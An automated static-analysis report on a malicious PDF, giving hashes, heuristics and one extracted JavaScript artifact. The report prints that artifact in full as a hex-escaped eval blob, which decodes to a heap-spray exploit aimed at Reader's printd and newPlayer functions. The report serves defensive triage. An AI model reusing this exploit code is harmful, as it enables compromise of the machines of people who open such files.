Malicious PDF — malware analysis report

Static analysis result for SHA-256 a87f2c3a7d62ce29…

MALICIOUS

PDF

1.25 MB Created: 2010-07-28 12:34:55 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2026-05-10
MD5: 4a249b9de84876c493be5271b3cf9034 SHA-1: 844d1eb932c016727b2cc39e3b2c25e8b742ab8d SHA-256: a87f2c3a7d62ce29ba93146d15b6654833f3e2e2c3419dd34267dd97f3ebe571
216 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript code is being used to execute arbitrary commands. The extracted artifact 'javascript_obj0055_001.js' was flagged for obfuscation, further supporting malicious intent. The likely purpose of this script is to download and execute a second-stage payload, as suggested by the suspicious extracted artifact details. No specific malware family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9988

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    stream
eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4e\x65\x77\x5f\x53\x63\x72\x69\x70\x74\x28\x29\x0a\x7b\x0a\x76\x61\x72\x20\x63\x6b\x57\x6f\x72\x64\x2c\x20\x6e\x75\x6d\x57\x6f\x72\x64\x73\x3b\x0a\x76\x61\x72\x20\x74\x65\x78\x74\x20\x3d\x20\x27\x27\x3b\x0a\x0a\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x74\x68\x69\x73\x2e\x6e\x75\x6d\x50\x61\x67\x65\x73\x3b\x20\x69\x2b\x2b\x20\x29\x20\x0a\x7b\x0a\x6e\x75\x6d\x57\x6f\x72\x64\x73\x20\x3d\x20\x74\x68\x69\x73\x2e\x67\x …
endstream
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBAE 6768 bytes
SHA-256: 7d2e9b85cacd9024f0912f7e7bc59955748b8226c71953d342a2a204a09a5185
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4e\x65\x77\x5f\x53\x63\x72\x69\x70\x74\x28\x29\x0a\x7b\x0a\x76\x61\x72\x20\x63\x6b\x57\x6f\x72\x64\x2c\x20\x6e\x75\x6d\x57\x6f\x72\x64\x73\x3b\x0a\x76\x61\x72\x20\x74\x65\x78\x74\x20\x3d\x20\x27\x27\x3b\x0a\x0a\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x74\x68\x69\x73\x2e\x6e\x75\x6d\x50\x61\x67\x65\x73\x3b\x20\x69\x2b\x2b\x20\x29\x20\x0a\x7b\x0a\x6e\x75\x6d\x57\x6f\x72\x64\x73\x20\x3d\x20\x74\x68\x69\x73\x2e\x67\x65\x74\x50\x61\x67\x65\x4e\x75\x6d\x57\x6f\x72\x64\x73\x28\x69\x29\x3b\x0a\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x6a\x20\x3d\x20\x30\x3b\x20\x6a\x20\x3c\x20\x6e\x75\x6d\x57\x6f\x72\x64\x73\x3b\x20\x6a\x2b\x2b\x29\x20\x0a\x7b\x0a\x63\x6b\x57\x6f\x72\x64\x20\x3d\x20\x74\x68\x69\x73\x2e\x67\x65\x74\x50\x61\x67\x65\x4e\x74\x68\x57\x6f\x72\x64\x28\x69\x2c\x20\x6a\x29\x3b\x0a\x74\x65\x78\x74\x20\x3d\x20\x74\x65\x78\x74\x20\x2b\x20\x63\x6b\x57\x6f\x72\x64\x2e\x74\x6f\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0a\x7d\x0a\x7d\x0a\x0a\x74\x65\x78\x74\x20\x3d\x20\x74\x65\x78\x74\x20\x2b\x20\x27\x20\x27\x3b\x0a\x0a\x0a\x76\x61\x72\x20\x6b\x20\x3d\x20\x31\x3b\x0a\x76\x61\x72\x20\x62\x3d\x30\x3b\x0a\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x75\x5f\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x70\x6f\x73\x20\x3d\x20\x30\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x70\x6f\x73\x20\x3c\x20\x28\x74\x65\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x31\x29\x29\x20\x7b\x0a\x20\x70\x6f\x73\x20\x2b\x3d\x20\x6b\x3b\x0a\x20\x69\x66\x28\x21\x62\x29\x0a\x20\x7b\x0a\x09\x62\x20\x3d\x20\x31\x3b\x0a\x09\x69\x66\x20\x28\x70\x6f\x73\x20\x3c\x20\x74\x65\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x29\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x2b\x31\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x32\x3b\x20\x7d\x0a\x09\x65\x6c\x73\x65\x20\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x31\x3b\x20\x7d\x0a\x20\x7d\x0a\x20\x65\x6c\x73\x65\x0a\x20\x7b\x0a\x09\x62\x20\x3d\x20\x30\x3b\x0a\x09\x69\x66\x20\x28\x70\x6f\x73\x20\x3c\x20\x74\x65\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x29\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x2b\x31\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x32\x3b\x20\x7d\x0a\x09\x65\x6c\x73\x65\x20\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x31\x3b\x20\x7d\x0a\x09\x0a\x09\x75\x5f\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x25\x75\x27\x2b\x73\x68\x65\x6c\x6c\x5f\x32\x2b\x73\x68\x65\x6c\x6c\x5f\x31\x3b\x0a\x09\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x27\x27\x3b\x0a\x09\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x27\x27\x3b\x0a\x09\x73\x68\x65\x6c\x6c\x20\x2b\x3d\x20\x75\x5f\x73\x68\x65\x6c\x6c\x3b\x0a\x20\x7d\x0a\x20\x6b\x2b\x2b\x3b\x0a\x20\x69\x66\x20\x28\x6b\x3e\x33\x29\x20\x6b\x20\x3d\x20\x31\x3b\x0a\x7d\x0a\x76\x61\x72\x20\x57\x6f\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x68\x65\x6c\x6c\x29\x3b\x0a\x76\x61\x72\x20\x79\x52\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x27\x25\x75\x33\x37\x32\x37\x25\x75\x32\x37\x66\x35\x27\x29\x3b\x0a\x66\x6f\x72\x28\x69\x3d\x30\x3b\x69\x3c\x31\x35\x3b\x29\x7b\x79\x52\x2b\x3d\x79\x52\x3b\x69\x20\x2b\x2b\x3b\x7d\x0a\x79\x52\x3d\x79\x52\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x33\x32\x37\x36\x38\x20\x2d\x20\x57\x6f\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x0a\x0a\x6d\x65\x6d\x6f\x72\x79\x3d\x6e\x65\x77\x20\x41\x72\x72\x61\x79\x28\x29\x3b\x0a\x0a\x66\x6f\x72\x28\x69\x3d\x30\x3b\x69\x3c\x30\x78\x32\x30\x30\x30\x3b\x29\x20\x7b\x0a\x09\x6d\x65\x6d\x6f\x72\x79\x5b\x69\x5d\x3d\x20\x79\x52\x20\x2b\x20\x57\x6f\x3b\x20\x69\x20\x2b\x2b\x3b\x0a\x7d\x0a\x0a\x75\x74\x69\x6c\x5b\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x31\x31\x32\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x30\x29\x5d\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x33\x32\x2c\x35\x38\x2c\x33\x32\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x29\x2c\x20\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x29\x3b\x0a\x75\x74\x69\x6c\x5b\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x31\x31\x32\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x30\x29\x5d\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x33\x32\x2c\x35\x38\x2c\x33\x32\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x29\x2c\x20\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x29\x3b\x0a\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x6f\x62\x6a\x20\x3d\x20\x74\x68\x69\x73\x2e\x6d\x65\x64\x69\x61\x3b\x6f\x62\x6a\x5b\x27\x6e\x65\x77\x27\x2b\x27\x50\x6c\x61\x79\x65\x72\x27\x5d\x28\x6e\x75\x6c\x6c\x29\x3b\x7d\x20\x63\x61\x74\x63\x68\x28\x65\x29\x20\x7b\x7d\x0a\x75\x74\x69\x6c\x5b\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x31\x31\x32\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x30\x29\x5d\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x33\x32\x2c\x35\x38\x2c\x33\x32\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x29\x2c\x20\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x29\x3b\x0a\x0a\x0a\x7d')

Open this report in the interactive analyzer, or submit your own file for analysis.